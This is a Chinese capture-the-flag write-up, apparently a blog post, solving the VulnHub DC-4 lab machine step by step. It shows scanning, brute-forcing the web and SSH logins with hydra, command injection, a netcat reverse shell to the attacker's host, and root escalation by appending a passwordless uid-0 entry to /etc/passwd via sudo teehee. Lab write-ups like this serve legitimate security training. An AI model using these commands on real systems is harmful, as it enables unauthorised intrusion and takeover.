靶机5 DC-4(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-4(包含5个flag)

下载地址:

DC: 4 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-4 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-4和kali在同一网段 | 已知DC-4所在的网段

—— DC-4 IP地址:192.168.130.134/24

3.1信息收集

获取DC-4的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-4的IP地址是:192.168.108.134/24

端口扫描

命令:nmap -sV -p- 192.168.108.134

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

22

ssh

7.4p1

80

http

nginx 1.15.10

3.2    渗透测试

在这里我们看见22的ssh第一反应就是可以对其进行账号密码的暴力破解,先打开80的http看一下吧

老规矩,再有真实IP的情况下首先修改本地的hosts文件,将域名和IP地址进行绑定

发现是一个登录框,可以输入账号密码,继续对其进行CMS的识别

CMS识别(使用工具CMSeek):python3 cmseek.py -u http://dc-4/

进行目录描扫,看看能不能拿到后台登陆的地址(实用工具dirb):dirb http://dc-4

这个结果证明有一个images的目录,看名字应该是存放图片的地方,后期有漏洞的话也可以尝试挂马试试

通过 msf 和 searchsploit 去查询是否有可以直接利用的漏洞信息

在使用searchsploit(kali自带的漏洞库)的时候发现了两个可以用户枚举的漏洞信息,查看并尝试使用看看能不能获取到ssh的用户信息

searchsploit -x linux/remote/45233.py

看了一下是一个python脚本,去脚本中给出的地址下载下来了,一看有很多依赖,没整太明白,还是先用burp抓包看一下

变量1(账号)

变量2(密码)

查看请求数据包之后发现好像也没有进行cookie等的验证,那就直接爆破一下账号密码吧

爆破结果(对返回数据包的长度进行筛选,得到正确的账号密码:admin、happy)

在登陆页面尝试登录,登陆成功

为了方便阅读,这里点完commend之后翻译一下这三个选项

可以看到执行了ls -l之后获取到了当前位置下的目录,这里猜测可以执行命令会不会是有一些敏感数据的传输,使用burp抓包看一下

burp抓包之后很惊喜,查看到在请求数据包内直接是对命令进行明文传输的,尝试对其进行修改看看能不能执行其他的命令

发现可以进行命令执行

ip add #查看靶机的IP地址

尝试获取shell,进行反弹:nc -e /bin/sh 192.168.108.129 6868

由于 DC-4 还是只存在一个flag,所以这里不用想了还是需要进行提权,继续收集信息

系统信息:

Linux 4.9.0-3-686

Debian 4.9.30-2

老套路了,改善一下shell交互的环境

python -c "import pty;pty.spawn('/bin/bash')"

进入家目录,查看发现存在了三个用户的家目录

可以明显看到在名为jim的用户文件夹里面有不一样的文件(重点查看)

很惊喜,居然看见了一个old-passwords.bak的文件,这很可能就是一个密码的备份文件

查看之后就是一个密码本(字典),并且包含了252个密码,可以尝试对ssh进行爆破了

使用九头蛇进行ssh的暴力破解

hydra -l jim -P old-passwd.txt ssh://dc-4 -v -f -e nr -t 4  # 为了加快我后期使用的是64线程

参数:

-l user

login 小写,指定用户名进行破解

-L file

大写,指定用户的用户名字典

-p pass

小写,用于指定密码破解,很少使用,一般采用密码字典

-P file

大写,用于指定密码字典

-v / -V

显示详细过程

-f

找到第一对登录名或者密码的时候中止破解。

-e nsr

nsr 额外的选项,n:空密码试探,s:使用指定账户和密码试探,r:密码是用户名的反写

-t 数字

tasks 同时运行的线程数,默认是16

成功得到了ssh

[22][ssh]

host: dc-4  

login: jim  

password: jibril04

su -  切换到jim账户去查看mbox文件

在这个文件中我们可以得知,root给jim发送了一封邮件,继续去linux存放邮件的目录下找一下有没有这个邮件

注:linux系统收到邮件都会保存在“/var/spool/mail/[linux用户名]”文件中

注意这次切换用户的时候用户名需要改成小写

在这里不小心退出去了,所以直接使用charles、^xHhA&hvim0y直接ssh登录了

注意:teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

直接进行提权

原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0的用户条目

使用:echo "hahaha888::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

解释:按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su hahaha888就可以登录到hahaha888用户,这个用户因为uid为0,所以也是root权限

可以看到在执行完指令之后直接变为了root(超户),提权成功

成功在/root/目录下拿到flag

点击下方名片,加入GG安全团队,期待师傅们的加入,一起学习一起成长。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值